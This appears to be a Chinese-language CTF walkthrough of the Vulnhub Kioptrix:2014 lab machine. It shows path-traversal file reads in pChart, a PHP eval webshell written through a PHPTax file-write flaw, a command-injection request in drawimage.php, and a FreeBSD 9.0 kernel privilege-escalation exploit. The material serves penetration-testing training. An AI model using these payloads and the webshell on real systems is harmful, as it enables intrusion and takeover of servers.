【Vulnhub通关】Kioptrix:2014

481 阅读9分钟

准备工作

靶机基本信息

靶机名称:Kioptrix2014
操作系统:BSD
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机最高权限和交互式Shell
下载地址:Kioptrix: 2014 (#5) ~ VulnHub

环境配置

在使用该虚拟机前,请先将关机状态下的虚拟机网卡删除,再重新添加一次网卡,注意网络连接方式为Bridged


信息收集

主机发现

在Kali Linux中,使用如下命令进行靶机IP地址发现:

netdiscover -r 192.168.2.0/24

由扫描结果可以得知,靶机的IP地址为192.168.2.131即带有VMware, Inc.文字的那一项

先使用ping命令测试ICMP连通性

┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.131      
PING 192.168.2.131 (192.168.2.131) 56(84) bytes of data.

--- 192.168.2.131 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3061ms

看来靶机上有可能运行着防火墙。

网络服务扫描

先前发现使用ping命令无法连通靶机,推测靶机上可能有防火墙。所以使用nmap探测时加上-Pn参数:

nmap -A -sV -Pn 192.168.2.131

可以看到靶机开放了如下服务:

端口传输层协议应用层协议详细信息

22

TCP

SSH

未知

80
8080

TCP

HTTP

Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)

同时确定操作系统为FreeBSD版本最有可能在7.09.0之间

话说我要不要临时恶补一下FreeBSD这玩意儿怎么用???!Σ(っ °Д °;)っ

好吧,附上几本FreeBSD官方的中文版使用手册:

初步扫描完成,准备进行服务探测。


服务探测

SSH服务

由于nmap在扫描时并未扫出22端口的信息,感觉比较奇怪,准备进行手动探测:

┌──(root㉿hacker)-[/home/hacker]
└─# nc 192.168.2.131 22
(UNKNOWN) [192.168.2.131] 22 (ssh) : Connection refused

看来22端口上可能有防火墙策略一类的东西。

HTTP服务

通过前面的扫描,我们已经得知HTTP服务器的版本为Apache httpd 2.2.21mod_ssl模块版本为2.2.21PHP语言的版本为5.3.8

使用searchsploit寻找漏洞:

searchsploit apache 2.2.21

选中如下漏洞:

  • Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
  • Apache mod_ssl < 2.8.7 OpenSSL - OpenFuck.c Remote Buffer Overflow

使用searchsploit -m命令保存EXP。

Web应用程序(8080端口)

打开浏览器,访问8080端口:

打开BurpSuite,尝试修改HTTP包中的 X-Forwarded-For绕过:

X-Forwarded-For: 127.0.0.1

一直没反应,跳过。

Web应用程序(80)

发现pChart业务

打开浏览器,访问80端口:

firefox http://192.168.2.131/

除了一句英文啥也没有,看看源代码:

<html>
 <head>
  <!--
  <META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">
  -->
 </head>

 <body>
  <h1>It works!</h1>
 </body>
</html>

发现了一个路径:http://192.168.2.131/pChart2.1.3/index.php,访问试试:

看样子是个图表生成网站,应该是通过编写PHP程序,然后执行程序内用于绘制图表的代码。?等等,PHP......那样岂不是可以试试写入一句话木马??!

目录扫描

使用dirsearch扫描一波目录:

dirsearch -u http://192.168.2.131/pCharts2.1.3/ -i 200,301,302

可以看到该Web应用的目录结构如下:

  • /fonts      =>      网站字体文件目录
  • /cache      =>      网站缓存文件目录
  • /class      =>      网站业务处理器目录
  • /data        =>      网站数据库文件目录(.db格式)
  • /examples      =>      图表脚本储存目录
  • /index.php    =>      网站主页
  • /readme.txt     =>      使用文档
  • /change.log     =>      更新说明

注:/example目录中脚本文件的名称格式为example.图表样例名称.php

查看网站说明文件

在目录扫描过程中,发现了两个说明文件,现在进行访问:

readme.txt部分文件内容如下:

change.log部分文件内容如下:

只能从中看到pChart的版本为2.1.3,还有网站的详细目录结构。同时也得知了/data目录下的文件对本次渗透来说应该没什么用。

发现任意文件读取漏洞

打开目标主页,同时按F12键打开网络分析功能,随便点击一个图表实例,网站显示出了图表渲染结果和脚本源代码。同时网络分析栏中的一项结果引起了我的兴趣:

HTTP参数Action接受值为View,参数Script文件的名称,随后页面返回了该文件的内容(即PHP脚本源码),这不就是显示指定文件的内容吗?

尝试参数Script改为其它内容:../data/39.db

成功读取其它文件。猜测后端逻辑如下:

<?php
    $action = $_GET['Action'];
    $script = $_GET['Script'];
    /* More PHP codes ... */
    if ($action == 'View'){
        if (isset($script) && !empty($script)){
            echo(file_get_contents($script));
        } else echo("");
    }
    /* More PHP codes ... */
?>

现在试试读取/etc/passwd文件:

成功!!确认靶机pChart业务存在任意文件读取漏洞


渗透测试

Web应用程序

尝试写入PHP木马

既然网站的功能是通过运行PHP程序生成图表,那我们为什么不在输入的参数中动手脚?

打开网址:http://192.168.2.131/pChart2.1.3/examples/sandbox/,进入沙盒页面。在参数编辑页面中的标题一栏内写入如下内容:

希儿世界第一可爱!".phpinfo()."

生成的部分PHP源代码如下:

<?php
    /* More PHP codes ... */
    $myPicture->drawText(350,25,"希儿世界第一可爱!".phpinfo()."",$TextSettings);
?>

点击Render picture按钮,如图:

但很可惜,似乎失败了:

后续尝试了非常多的方法,包括但不限于URL编码、更换输入位置等等,但全部以失败告终,无奈之下只能放弃。

读取Apache配置文件

就在这时,我想起了靶机的8080端口还运行着HTTP服务,但是打开时提示拒绝访问,很可能是因为某些配置文件所导致。为什么不去尝试读取Apache的配置文件?

百度了一下,看到FreeBSD版的Apache配置文件路径为:/usr/local/etc/apache22/httpd.conf

使用浏览器打开如下网址:http://192.168.2.131/pChart2.1.3/examples/index.php?Action=View&Script=../../../../../../../usr/local/etc/apache22/httpd.conf

这里的配置显示:

  • 8080端口上的网站绝对路径为/usr/local/www/apache22/data2
  • 浏览器的User-Agent信息必须为Mozilla4

使用扩展修改User-Agent信息

知道了访问8080端口上的服务时需要修改User-Agent标识为Mozilla 4.0后,我们可以通过火狐浏览器中的一个扩展插件User Agent Switcher修改浏览器的该项信息,如图:

注:该扩展可以在火狐插件市场中找到。

重新访问8080端口,发现访问成功:

PHPTax站点信息收集

打开站点,发现它长这样 (这是个啥???)

百度一下,貌似是某个太平洋对岸的国家用来生成报税文档的一款系统。点了一遍表格上的链接,发现页面没啥反应,查看网页源代码,也没发现什么有价值的信息,直接上dirsearch扫一遍目录:

dirsearch -u http://192.168.2.131:8080/phptax/ -i 200,301,302 --user-agent=Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5 
  • /data          =>       网站用户数据目录
  • /files           =>       网站PDF模板目录
  • /pictures           =>       网页图片目录
  • /readme         =>       网站说明文档
  • /index.php         =>       网站主页
  • /drawimage.php      =>       图片生成工具

试着打开以上目录查看,在/data/pdf/目录下发现了了不得的东西:

毫无疑问,这些信息是提示漏洞所在处。可是这些漏洞是在哪个页面触发的?试了一大圈,还是不得而知。于是尝试使用之前站点的任意文件读取漏洞来读取本站点的index.phpdrawimage.php,尝试找出漏洞。

本站点代码审计

已知PHPTax的绝对路径为:/usr/local/www/apache22/data2/phptax/,那么可以访问如下网址读取脚本:

  • http://192.168.2.131/pChart2.1.3/examples/index.php?Action=View&Script=../../../../../../../usr/local/www/apache22/data2/phptax/index.php
  • http://192.168.2.131/pChart2.1.3/examples/index.php?Action=View&Script=../../../../../../../usr/local/www/apache22/data2/phptax/drawimage.php

现在贴出两份程序的源代码(部分):

index.php

if (!$newvalue and $pfilez != "1040d-pg1.tob" and $pfilez != "1040d-pg2.tob") {
       $data=file("./data/$field");
       echo "<form action='index.php'>\n";
       echo "<input type=text value='$data[0]' name='newvalue' size=25>\n";
       echo "<input type=hidden name=field value='$field'>\n";
       echo "<input type=hidden name=pfilez value='$pfilez'>\n";
       echo "<input value='Submit' type='submit'>\n";
       echo "</form>\n";
}

if ($_GET[newvalue]) {
       $zz=fopen("./data/$field","w");
       fwrite($zz,"$_GET[newvalue]");
       fclose($zz);
   }

drwaimage.php

经过审计,分别发现以下漏洞:

index.php 任意文件写入漏洞

高危漏洞。在从第30行开始到第34行结束的分支中,传入的参数$_GET['newvalue']$field未经任何过滤、拦截或限制就被作为fopen()fwrite()函数的参数进行使用,导致任意文本的写入。

EXP:

GET /phptax/index.php?field=phpinfo.php&pfilez=1040d-pg1.tob&newvalue=<?php%20phpinfo();%20?> HTTP/1.1
Host: 192.168.2.131:8080
User-Agent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5  

drawimage.php OS命令执行漏洞

高危漏洞。在drawimage.php的第71行中,$pfilef变量作为exec()函数的参数组成部分,其文本内容过滤机制可以被轻松绕过,导致恶意的操作系统命令被执行。

EXP:

GET /phptax/drawimage.php?pdf=make&pfilez=test%20||%20sleep%2060%00 HTTP/1.1
Host: 192.168.2.131:8080
User-Agent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5

利用任意文件写入漏洞

现在,我们利用已经发现的任意文件写入漏洞来进行WebShell的写入。WebShell的内容为:

<?php @eval($_POST['code']); ?>

根据有漏洞的源代码,发送以下HTTP GET参数:

  • $field:backdoor.php
  • $pfilez:1040d-pg1.tob
  • $newvalue:<?php%20eval($_POST['code']);%20?>
GET /phptax/index.php?field=backdoor.php&pfilez=1040d-pg1.tob&newvalue=<?php%20eval($_POST['code']);%20?> HTTP/1.1
Host: 192.168.2.131:8080
User-Agent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5

访问http://192.168.2.131:8080/phptax/data/确认WebShell是否写入:

写入成功! 接下来直接使用蚁剑连接。

注意:请在请求信息一栏中添加User-Agent信息!

连接成功:

对靶机Web服务的渗透结束,进入权限提升部分。

HTTP服务

在服务探测过程中,我们已经选中了两个漏洞EXP。现在尝试利用第一个漏洞:

  • Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner

尝试运行29316.py

python3 -m 29316.py

参数如下:

尝试扫描靶机:

┌──(root㉿hacker)-[/home/…/Documents/vulnhub_notes/kioptrix2014/exp目录]
└─# python2 ./29316.py -h 192.168.2.131 -s         
--==[ ap-unlock-v1337.py by noptrix@nullsecurity.net ]==--
[+] sc4nn1ng s1ngl3 h0st 192.168.2.131 
[+] h0p3 1t h3lp3d

看来不行。。更换EXP试试:

  • Apache mod_ssl < 2.8.7 OpenSSL - OpenFuck.c Remote Buffer Overflow

尝试编译21671.c

g++ ./21671.c -o 21671

直接报一大堆错误,环境不兼容:

渗透失败,针对Apache软件的渗透测试结束。


权限提升

本地信息收集

通过中国蚁剑进入Shell后,首先必须执行如下命令:

ascmd /bin/sh

这将设置成把用户输入的命令交给操作系统的/bin/sh命令解释器执行。

接下来使用uname命令收集操作系统的版本和补丁信息

uname -ar

可以看到FreeBSD的版本为9.0。使用searchsploit寻找对应版本的漏洞:

searchsploit freebsd 9.0

最后选中了如下漏洞:

  • FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation

使用如下命令将其复制到当前目录:

searchsploit -m 28718.c

直接上传到靶机:

内核漏洞提权

在靶机中,使用如下命令编译执行EXP:

gcc 28718.c -o 28718
chmod 777 ./28718
./28718

P.S. 这里由于在蚁剑内执行提权程序会失效,作者直接利用msfvenom制作了木马文件并通过蚁剑上传至靶机,随后使用Kali Linux中自带的Armitage工具控制了靶机。

提权成功!!!

本次靶机渗透到此结束